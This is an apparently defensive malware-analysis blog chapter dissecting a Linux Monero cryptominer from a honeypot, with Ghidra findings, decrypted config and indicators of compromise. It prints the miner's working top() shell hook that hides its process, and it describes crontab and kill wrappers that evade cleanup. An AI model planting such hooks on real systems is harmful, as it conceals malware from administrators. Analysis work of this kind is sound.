ES EN
Index

DIICOT · Chapter 24

The line nobody wrote

The previous chapter left a number unexplained: the backdoor was deleting a different process on every installation, and that can't be known in advance. I open the miner and the answer shows up — a template with the gap already reserved. Along the way out comes the wallet the money goes to, behind encryption that's frankly laughable.

In the previous chapter I was left with a loose end. The critter plants a line in the administrator's .bashrc that makes top lie and hide the miner. That line deletes three things, and one of them is a different number on every installation — the critter's own process number, which nobody can know in advance because each machine hands them out as it goes.

Something was working it out and pasting it in within seconds. Today I open the miner with Ghidra and out comes what. Along the way, out comes who gets paid and how.

01The binary on the table

The sample is the one from the previous chapter: the file pulled down from their server and run as .16. A 64-bit ELF, static — it carries every library it needs inside, so it runs on any machine however old or stripped down — and stripped, meaning without the names of its own functions. The equivalent of tearing the labels off every part before handing it over.

That matters for what follows: when Ghidra opens a binary like this there are no names to read. Everything that appears from here on I've had to work out from the code itself, and the names you'll see in the screenshots are ones I put there.

02The line nobody wrote

Straight to the loose end. I searched inside the binary for the backdoor line expecting not to find it — because if the number changes on every machine, the line can't be stored as-is.

It's there. And it's there with a hole in the middle:

the template, exactly as it sits inside the binary
top() { trap 'tput cnorm' INT; tput civis; { script -q -c "/usr/bin/top" /dev/null
 | sed -e '/16/d' -e '/libbase\.sh/d' -e '/[NUL]/d'; } || /usr/bin/top; tput cnorm; }
                                            
                       a zero byte, right where the number should go

That [NUL] is a zero byte: the character that marks the end of a string in C. To a program, running into a zero there means «the text stops here». And that's exactly what it is — the end of the first half of the sentence. The second half sits right behind it, waiting.

In other words: the critter doesn't carry the backdoor line. It carries the template, with the slot already reserved. When the moment comes it asks what its own process number is, turns it into text, drops it into the hole and spits the result into .bashrc.

Ghidra showing the backdoor being assembled: a call to getpid followed by references to the two halves of the template
That's where the line gets made. Ghidra, with the variables renamed by me so it can be followed. Right at the top, CALL getpid: the program asks what its own process number is. Below it, the two references that matter — half A, which reads on the right as "top() { trap 'tput cnorm' INT…", and further down half B, which is "/d'; } || /usr/bin/top; tput…". Between the two goes the number just asked for. The line from the previous chapter is manufactured here, on the spot, on this machine.
The recipe, step by stepdisassembly

Five moves, in this order:

ghidra · the recipe, step by step
CALL getpid          // what's my process number?
MOV  ESI,EAX         // hold on to it
CALL// turn it into text — this is why two halves are needed
LEA  RSI,[HALF_A]    // "top() { trap 'tput cnorm' … -e '/"
LEA  RDX,[HALF_B]    // "/d'; } || /usr/bin/top; tput cnorm; }"
                          // result = HALF_A + number + HALF_B

The getpid at the start is what settles everything: the number the filter deletes wasn't chosen by anyone — the critter asks it of itself, right before writing the line.

And there's the explanation for the two numbers in the previous chapter. On one visit the process was 7704 and on the other 2845; the template is the same, letter for letter, and the only thing that changed was what went into the slot.

Why this settles the previous chapterThere I had an observation —two disks, the same sentence, a different number— and a hunch about what it meant. Here's the why, and it carries more weight than any hunch: it isn't that the sentence resembles itself from machine to machine; it's that it's manufactured identically on all of them. There's no room for anything to vary except the slot.

03And it isn't one command: it's three

While I was in there, I checked whether top was the only command they meant to rewrite. It isn't. There are two more, and they're better.

The first is crontab, the command for managing scheduled tasks — that is, the place an administrator would look to see what runs by itself on their machine:

crontab() · trimmed
crontab() {
  if   [ "$1" = -l ]; then  # «list my tasks»   → hides its own from you
  elif [ "$1" = -e ]; then  # «let me edit them» → re-pastes them on save
  elif [ "$1" = -r ]; then  # «delete them all»  → deletes yours, keeps its own
  fi; }

All three branches are worth reading. With -l it hides its own entries from you, which is the expected move. With -e it opens the editor on a file with its lines stripped out, lets you change whatever you like… and pastes them back in when you save. And the third is the good one: crontab -r means «delete all my tasks», and what it does is delete yours and reinstall its own. The administrator's act of cleaning up becomes the attacker's act of cleaning up.

The second is kill, the command for killing processes, and it's disarmingly simple: it walks through what you hand it, throws away any -9, and calls the real kill with what's left.

On Linux, kill -9 is the blunt order: it kills the process without letting it refuse or say goodbye. You type kill -9 at their miner and what comes out the other side is a plain kill — a polite signal, one their process can catch and ignore. From that shell you can't force-kill anything, and the system doesn't warn you: the command says yes, and the process stays alive.

All three go after the same reflextop so you can't see it, crontab so you can't find how it comes back, kill so you can't finish it off. That is, in that order, what anyone does when they suspect their server: look, search, kill. They've laid a trap at every step. On my machine only the top one ever got installed — the other two sat ready inside the binary and were never written — but as indicators all three count.

04What it's carrying in its luggage

This binary isn't just a miner: it's a miner that brings its own removal van. Digging around turns up the pieces that never got deployed on my machine.

First, another whole program hidden inside. A binary can carry another embedded in it like any other data and spit it out to disk when it suits. There are two here, and one of them is the kind that loads inside other programs — a library. That's the real rootkit, the one the previous chapter found half-installed: /etc/ld.so.preload was in place, but empty. The library it was missing was travelling in here.

I pulled it out to see what it can do, and it's more modest than you'd expect from a rootkit: it hooks a single function, the one that lists the contents of a directory. It installs as /usr/local/lib/libcommon.so and, once loaded into every program that starts, when somebody asks for a listing of /proc —which is where Linux gets the list of what's running— it strips out the one called 16 before handing it back.

And that's why it has a cheap countermeasureIf it only intercepts the listing function, the process is still right there: what's broken is the index, not the contents. So to catch it, don't ask for the list — walk the process numbers one by one and ask about each directly. The one that was hiding answers. It's the difference between trusting a book's index and turning the pages.

Then, the pieces the backdoor was already talking about and that I hadn't been able to see:

what the miner carries inside
libbase.sh          # the shell hook component
system-helper       # the systemd persistence from the previous chapter
/var/tmp/snap       # one of the payloads it drops to disk
.X0-lock            # another, disguised as a display-server file
__TTY_GUARD_OK__    # a self-check (see below)

That libbase.sh the top filter was covering up, and which wasn't anywhere on the machine: it's theirs, and it travels in here. It isn't another victim's, and it isn't a slip — it's in the template because the kit puts it there, even though on my machine it never got written.

And the payload names say plenty: /var/tmp/snap sounds like Ubuntu's package manager, .X0-lock like the display server's lock file. They're names an administrator sees in a listing and walks straight past.

The kit tests itselfThat __TTY_GUARD_OK__ is a self-check: after writing its hook into the shell, the kit runs it to see whether it works, first pretending there's a terminal in front of it and then pretending there isn't. The difference matters to them because an administrator logs in with a terminal and an automated task doesn't — and they want to behave differently in each case. They've thought about who comes through that door after them.

05Following the money

A miner needs to know two things: which server to connect to, and which wallet to credit with whatever it earns. That lives inside the binary, and it's the most interesting part of the whole critter — because it identifies the operator across all their victims, not just mine.

They keep it encrypted. But with the cheapest lock going: a single-byte XOR.

What a single-byte XOR isYou take each letter of the text and mix it with one single-character key, using a reversible operation. Applying it again with the same key gives you the original back. It's toy encryption: there are only 256 possible keys, so you try them all and that's that. Its one virtue is that the text doesn't leap out at anyone skimming the binary.

So I tried all of them, looking for something shaped like a Monero wallet — 95 characters, starting with a 4 or an 8. And the result isn't what you'd expect:

The sweep spits out junk, and that's the lessonThe 256 keys don't give you «an answer»: they give you more than a hundred candidates. Almost all of them are stretches of the binary full of repeated bytes that, run through the XOR, turn into strings like 4444444… and match the pattern on shape alone. Exactly one is real. The tool doesn't decide: the judgement of whoever is looking decides.

With the right key — it turns out to be 0x5A — the block comes out whole:

decrypted config (XOR 0x5A)
# the Monero wallet
89PNDJssF3RbL6m7aSydYB4tLrvjZ28Cr8n4LucmFHat8botWkWr6oDPEaSHfeZn4wfA3dC5QsE7nZV1P6tE81sK2i9heam

# and the three addresses, one after another
169.58.248.162   # their own proxy
5.189.149.171    # the delivery server — the same one from the previous chapter
project0.cc      # the domain
Ghidra showing the three addresses encrypted with XOR 0x5A alongside their translation in the reconstructed C code
The three addresses, as they travel. On the left the assembly; on the right, that same code translated into C. The three silly-looking strings — *(50?9.jt99, otkbctknctkmk and klctobthnbtklh — are project0.cc, 5.189.149.171 and 169.58.248.162 the moment you run the XOR over them. Look at the lengths being passed in: 0xb, 0xd and 0xe — eleven, thirteen and fourteen, which is exactly what the three destinations measure. It's encryption that doesn't even hide the size of what it's hiding.

And a detail I like a lot: in the decrypted text the fields come separated by the letter Z. That's no coincidence and no part of the data — those Zs are the zero bytes. The padding separating one string from the next, run through the XOR with 0x5A, all turns into Z. The separators give themselves away: you don't have to guess where each string ends, the encryption draws it for you.

Why the padding gives the key awaytoy cryptography

The property behind it is that zero mixed with the key gives you the key. Since config blocks are padded with zeros to make the sizes line up, in the encrypted binary those zeros all show up converted into the same character — which is the key in person. If you see one byte repeating in long runs inside an otherwise unreadable stretch, there it is. You don't even need to sweep.

The order of the list tells you how the business works: first their own proxy, then the delivery server and the domain, and only at the end seven public pools on supportxmr.com — and those do travel in the clear, unencrypted. The operator mines against their own; the public pool is the parachute. It also tells you what they care about hiding: what they encrypt is what identifies them; what anyone could use, they don't.

How I know it's this family and not anotherPutting a name on something is easy; proving it, less so. I downloaded the samples already catalogued publicly as this family and searched them for what I'd just pulled out of mine. Two carry the same wallet, the same proxy, the same delivery server and the same domain, all four behind the same key. And one of them also brings nearly every piece I went looking for: libbase.sh, system-helper, .X0-lock, /var/tmp/snap, /etc/ld.so.preload, libcommon.so, the name 16 and the top() template — it's missing one off the list. This isn't a family resemblance: it's the same pocket and the same tools.
This isn't a discovery of mineThe wallet and the proxy were already inside public samples of this family. I didn't find them; they were sitting there, encrypted. What I'm doing is pulling them out and reading, laid out in order, how the operation is put together.

And laying them out in order does turn something up. I sorted them by upload date and looked, in each one, at how they stored the wallet and what they mined against:

the change in how they get paid, by date
July         wallet IN THE CLEAR   ·  public pool, directly
11 August    (loader, no wallet)   ·  still no proxy of their own
30 August    (loader, no wallet)   ·  ← their own proxy appears
September    wallet encrypted      ·  own proxy  ·  public pool as backup

In July they were mining with the wallet in plain sight against a public pool. By September they'd moved to an encrypted wallet against a proxy of their own, with the public pool demoted to a safety net — which is exactly the hierarchy I just read in the config.

And the change can be dated, though not where you'd think. The two August samples aren't miners: they're loaders —the piece that installs— and they carry no wallet at all, so there's nothing to compare on that front. What they do carry is the proxy address, and that's where the cut falls: in the 11 August one it isn't there, and in the 30 August one it is. The hinge falls between those two dates, and what marks it is the proxy, not the wallet.

Careful with what that means and what it doesn't. What doesn't overlap is what the binaries carry configured: the old wallet shows up only in the July samples and always in the clear; the new one only in the September ones and always covered. That's a fact about samples, and it goes no further. What the two wallets actually did —how much they've taken in, since when, and whether they're still taking it— isn't inside any binary, so this chapter doesn't settle it. But it isn't a dead end either: it can be found out from the outside, and I give the next instalment over to it entirely.

06The 443 that encrypts nothing

Their own proxy is 169.58.248.162, and it listens on port 443. That's the HTTPS port: the one for secure websites, the one that's open on every firewall in the world because if you close it nobody can browse.

But in the config, encryption is switched off. Which means: they speak the mining protocol in the clear over the HTTPS port. They're not using it to encrypt — they're using it to look like ordinary web traffic and slip by unnoticed.

And there's a detection rule in that which works for anyone: outbound traffic to 443 that never negotiates a certificate. A real HTTPS connection always starts with a handshake where both sides agree on the encryption. If something goes out over 443 and skips that step, it isn't a website: it's somebody hiding behind a port number.

And there's a pattern in where all of this lives. The delivery server, this payout proxy and the address the last two visits came from are all three at the same provider — Contabo, AS51167, a big, cheap hosting outfit. The addresses that only knock on the door trying passwords, by contrast, rotate from provider to provider. It's worth saying carefully, because the provider is legitimate and has nothing to do with any of it: the finding isn't Contabo, it's that they choose it. And the reading is that the machines they attack from are disposable; the ones that have to be paid for and maintained —delivering the binary and collecting the mining— they keep together and still.

An extracted indicator, not an observed connectionI'll say it again because it matters: my decoy's miner never got to talk to that proxy — the containment stopped it first. I know it's its first destination because I read it in the binary, not because I saw it on the wire. It's an extracted indicator, and it should be labelled as such.

07Indicators (IOCs)

The intrusion ones are in chapter 23. These are the ones from inside. The wallet goes in whole: the only party it points at is the operator.

TypeValue
Monero wallet89PNDJssF3RbL6m7aSydYB4tLrvjZ28Cr8n4LucmFHat8botWkWr6oDPEaSHfeZn4wfA3dC5QsE7nZV1P6tE81sK2i9heam
Mining proxy169.58.248.162:443 — no TLS · extracted indicator, not an observed connection
Delivery and domain5.189.149.171 · project0.cc
Backup poolspool-{fr,phx,nyc,hk,sg,aus,ca}.supportxmr.com:5555 — all seven, in the clear
Config encryptionsingle-byte XOR, key 0x5Asweep all 256, it can differ between components
Backdoor templatestring split by a zero byte where the running process number is inserted
Fake commands, primedtop() · crontab() · kill() — all three, inside the binary
Embedded componentslibbase.sh · system-helper · /usr/local/lib/libcommon.so (rootkit: hooks readdir)
Payloads on disk/var/tmp/snap · .X0-lock
Self-check__TTY_GUARD_OK__ — run with and without a terminal after writing the hook
Network signatureoutbound traffic to 443 that never negotiates TLS
SHA-256 (miner)a151d3f4f2422531f30a843ffb35479596c86722bb103bdf8591105687f9b125

To be continued — the binary has nothing left to give me. It leaves me a ninety-five-character wallet and a question it can't answer: how much has this thing earned? Monero is built so that no balance can be looked up, so the answer isn't coming off the chain. It's somewhere else, and getting to it doesn't require touching anything of theirs. I pull on that thread in Chapter 25. 🍯

Comments